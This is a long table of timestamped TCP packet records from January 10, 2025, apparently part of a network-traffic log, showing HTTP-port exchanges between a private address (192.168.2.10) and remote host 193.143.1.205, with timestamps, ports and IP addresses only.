Jan 10, 2025 22:21:08.758488894 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758503914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758517027 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758529902 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758539915 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.758582115 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.758843899 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758857012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758873940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758884907 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758898020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.758908987 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.758908987 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759125948 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759200096 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759212017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759222984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759233952 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759239912 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759239912 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759247065 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759289980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759289980 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759731054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759742975 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759753942 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759764910 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759777069 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759789944 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759797096 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759797096 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759803057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759815931 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759829044 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759840012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759851933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759855032 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759871960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759886026 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.759891033 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759922981 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.759922981 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.760734081 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760751963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760765076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760776043 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.760776997 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760793924 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760801077 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760802984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760816097 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760828018 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760833979 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.760833979 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.760839939 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760854959 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760855913 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.760865927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760879040 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.760907888 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.760907888 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.761040926 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.761631966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761645079 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761656046 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761667967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761682987 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761686087 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.761703014 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761715889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761722088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761729002 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.761733055 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761744976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761755943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761760950 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.761766911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.761814117 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.761814117 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.763710022 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.791186094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.791215897 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.791228056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.791239977 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.791264057 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.791332960 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.849302053 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849328041 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849339008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849370956 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849378109 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.849430084 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849436998 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.849471092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849486113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849514961 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849526882 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.849526882 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849551916 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849560022 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.849565029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.849612951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.866463900 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866492033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866503954 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866519928 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.866583109 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.866678953 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866856098 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866873026 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866885900 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866897106 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866908073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866918087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866926908 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.866926908 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.866931915 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866942883 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866954088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866954088 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.866965055 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866977930 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.866988897 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867021084 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.867021084 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.867737055 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867750883 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867763042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867774963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867800951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.867800951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.867852926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867872000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867883921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867896080 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867908001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.867909908 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.867928028 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.868046045 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.868208885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.868217945 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.868283033 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.883582115 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883605957 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883619070 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883630037 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883641958 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883655071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883681059 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.883681059 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.883770943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883785009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883857965 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.883857965 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.883892059 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883910894 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883922100 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.883985996 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.884057045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884068966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884078979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884126902 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.884126902 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.884186983 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884207964 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884217978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884259939 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.884435892 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884448051 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884454966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884465933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884478092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884521961 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.884521961 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.884725094 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884737968 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884757042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884768009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884780884 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.884780884 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.884826899 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885221004 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885234118 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885246038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885257006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885270119 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885282040 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885287046 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885287046 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885294914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885308981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885341883 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885341883 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885644913 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885822058 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885826111 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885842085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885854959 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885868073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885879993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885891914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885905981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885916948 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885921955 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885921955 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885931969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885945082 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885946035 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885956049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885968924 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.885992050 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.885992050 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.886027098 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.886816025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886828899 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886840105 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886851072 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886863947 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886871099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886877060 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886887074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886898041 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886909008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886915922 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.886915922 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.886920929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886933088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886948109 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.886977911 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.886977911 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.887696981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.887715101 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.887727976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.887741089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.887763023 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.887763023 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.894995928 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.939959049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940015078 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940026999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940037012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940059900 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940072060 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.940077066 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940095901 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940104008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940109968 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940115929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940120935 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940123081 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.940155029 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.940155029 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.940175056 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.956923008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.956938028 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.956957102 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.956969023 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957026005 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957037926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957047939 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957051039 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957071066 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957091093 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957102060 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957216024 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957223892 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957223892 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957223892 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957228899 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957243919 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957256079 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957268000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957288027 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957351923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957417965 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957437992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957469940 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957470894 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957489967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957496881 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957520008 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957562923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.957597017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957654953 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.957741022 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.958318949 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958329916 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958339930 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958353996 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958369970 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958378077 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.958386898 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958408117 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958415985 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.958420038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958431959 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958442926 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.958444118 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958481073 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.958503008 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.958561897 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958574057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958585978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.958621025 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974148035 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974165916 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974174976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974176884 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974181890 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974185944 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974250078 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974262953 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974304914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974354029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974366903 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974374056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974380970 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974458933 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974458933 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974458933 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974458933 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974513054 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974525928 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974538088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974581957 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974581957 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974673033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974684954 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974703074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974714041 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974725962 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974740982 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974751949 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974751949 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974780083 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:21:08.974963903 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974975109 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974986076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.974997997 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 22:21:08.975012064 CET	49705	80	192.168.2.10	193.143.1.205
